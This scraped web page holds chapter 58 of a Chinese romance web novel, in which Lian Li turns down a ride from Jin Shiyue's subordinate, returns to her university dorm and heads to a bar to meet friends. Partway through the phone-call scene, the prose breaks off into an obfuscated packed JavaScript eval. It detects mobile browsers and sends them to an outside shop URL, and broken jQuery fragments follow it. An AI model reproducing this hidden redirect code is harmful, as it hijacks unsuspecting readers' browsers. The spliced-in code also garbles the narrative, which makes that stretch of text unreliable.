第58章 前所未有的感觉

作品:《京色欲坠

    靳识越可能是见她一个人孤苦伶仃,可怜她,看在靳言庭或钟扬他们的面子上关照了一下她。


    也可能是觉得纽约之行太无聊,把她带在身边,随时戏弄她。


    答案是什么,不重要。


    连厘决定离开靳言庭,在一定程度代表着远离靳识越。


    靳家的人,她一个都不想接触。


    这个想法在很久以前就冒出来了,只是那时候有靳言庭。


    那会儿,靳言庭是例外。


    而如今,再也没有例外。


    连厘不是轻易动感情,拎不清局势的女孩子。


    她能用九年时间敞开心扉,习惯靳言庭、接受靳言庭,也能用九天时间摆脱他对她的影响。


    她还要替连景程找她妈妈。


    不能为任何人迷失。


    不顾一切出国表明心意,妄想得到感情的回应,这种冲动的行为一回就够了。


    连厘拉着行李箱走出机场,一辆劳斯莱斯停在她面前,是靳识越的下属陶肃。


    “连小姐,我送您回去。”陶肃说。


    “不用了,谢谢。”连厘礼貌婉拒,“我已经打好车了。”


    她穿着黑色大衣,没有系围巾,乌黑秀发被寒风吹得散乱在肩头,巴掌大的脸蛋上鼻尖泛红,模样可怜娇贵,一双杏眼却如有实质,透着不容置喙。


    陶肃想起靳识越的话,心里赞叹一声老板未卜先知,面上神色平静地同连厘说:“打车的钱,会百倍补还给您。”


    “这笔买卖,您不亏。”


    何止不亏,简直稳赚不赔。


    连厘有点儿纳闷。靳识越下属的行事风格怎么跟他一样霸道跋扈。


    “双方有意愿交易才构成买卖,单方面只能叫抢劫。”


    连厘精致的面容漾着浅浅的笑意,语速平缓:“抢劫之后再补钱,好听点叫火葬场,难听点叫施舍乞丐。这两个我都不感兴趣。”


    陶肃愣怔了一秒,反应过来她在骂老板是野蛮的盗匪。


    连厘打的出租车到了,她拉着行李箱走过去,司机师傅下来替她放到后备箱里。


    陶肃伫立在原地,看着连厘上车,忽觉连小姐不是个好对付的姑娘。


    绵里藏刀,杀人于无形。


    出租车行驶的终点不是承载连厘和靳言庭回忆的公寓,而是京北大学。


    连厘轻轻推着行李箱进门时,商令语正顶着一头五颜六色的卷发筒,窝在床上打游戏。


    商令语没带耳机,激烈的游戏征战声萦绕着宿舍,点的陪练是位声音好听的男生,时而称赞商令语,时而低声轻哄。


    连厘听着那轻哄声,脑部神经一闪而过某些感知记忆。


    她无知无觉地贴上某个人……那人的身体温热又结实,蕴含着难以估量的力量。


    势不可挡的力量裹着热意,穿透衣料,一直烧进她心头,让她暂时忘记很多东西。


    只记得前所未有的感觉。


    ……哪里来的感觉?


    这种感觉太陌生了,以致于她下意识以为不属于她。


    连厘眉头微蹙,想探究来源,却无处可寻。


    大概是她生病,脑子烧糊涂,记忆出错了。


    “连厘,你怎么回来啦?”商令语打完游戏,掀开窗帘,忽然看到连厘。


    连厘拽回思绪,推着行李箱到书桌前:“我最近在宿舍住。”


    商令语以为陆教授有任务给她,没有再多问这个,她踩着梯子下床:“那正好,人多热闹,宿舍就我一个人也挺无聊的。”


    连厘收拾完东西,给薛舒凡发消息询问她什么时候有空,她给她带了礼物。


    薛舒凡没回,应该在忙。


    连厘抽时间回了一趟公寓。把自己每天要用的重要物品带走,其他的她打算找到新住所再搬走。


    公寓里有很多都是靳言庭给她买的,那些东西连厘都没要,她轻简轻行。


    手机铃音响起时,连厘正盘腿坐在地毯上盘点珠宝首饰,她歪了下身子抻手够丢在沙发上的手机。


    来电显示是薛舒凡,连厘滑过接听,摁里免提放在地毯上,低头继续数珠宝。


    “厘厘!”薛舒凡那边喧闹,震耳欲聋,她左手拿着手机贴在耳朵,右手捂着耳朵,大声喊道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14637932|156319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相比而言,连厘这里格外静谧,她把蓝宝石项链妥善放进墨蓝色丝绒盒子里,问:“你在哪里,好吵。”


    “我在STAR酒吧的地下歌舞厅,你要过来吗!”


    连厘故意道:“你有时间去酒吧,没时间见我?”


    “不是,我通宵了!昨晚到现在!”薛舒凡说,“你要过来吗,不来的话,我等会儿去找你!”


    连厘看眼时间,都晚上七点了,这是通了两个宵么。


    她问:“你那边有谁。”


    “没谁,就我和裴青寂。”


    “行,那你等着,我现在过去。”


    连厘把丝绒盒子盖好,起身,取外套披上,出门前,回头望了眼,黑暗里小猫机器人闪亮了两下。


    像是在挽留她。


    连厘不为所动,带上门走了。


    她不想再做那个被抛弃的人。


    她要拿回主动权。


    自己离开


    。


    STAR酒吧经久不衰,夜幕降临时分音乐的节拍和灵魂的狂热一块躁动起来,空气里弥漫着酒精和欢呼。


    连厘脚踏台阶,不紧不慢地上二楼,走廊拐角有一对男女在忘我接吻,她扫了一眼,熟视无睹。


    走了两步,却兀地想起纽约那个意外,微凉柔软的触觉。


    隐在暗处的包厢,酒精味并不浓郁,空中飘渺着檀香的淡雾。连厘甫一进门,香味扑鼻,鼻翼轻轻动了动。


    有公子哥见薛舒凡唱歌跳舞的风范,向裴青寂打听薛舒凡有没有男朋友,裴青寂坐在沙发上倒着酒,直截了当说:“有。”


    他身后打麻将的薛舒凡听到,扭头冲裴青寂喊:“裴青寂你有病啊,你不能因为你是单身狗就挡了我桃花!”


    那公子哥一听有戏,旋即问薛舒凡:“你看我怎么样?”


    薛舒凡瞧他一眼,半点儿情面都不留:“算了,当单身狗也没什么不好的。”


    众人闻言纷纷哄笑。


    那公子哥也不恼,都是开得起玩笑的人,跟着一起笑。


    裴青寂牵唇笑了下,余光瞥见连厘,说道:“小师妹来了。”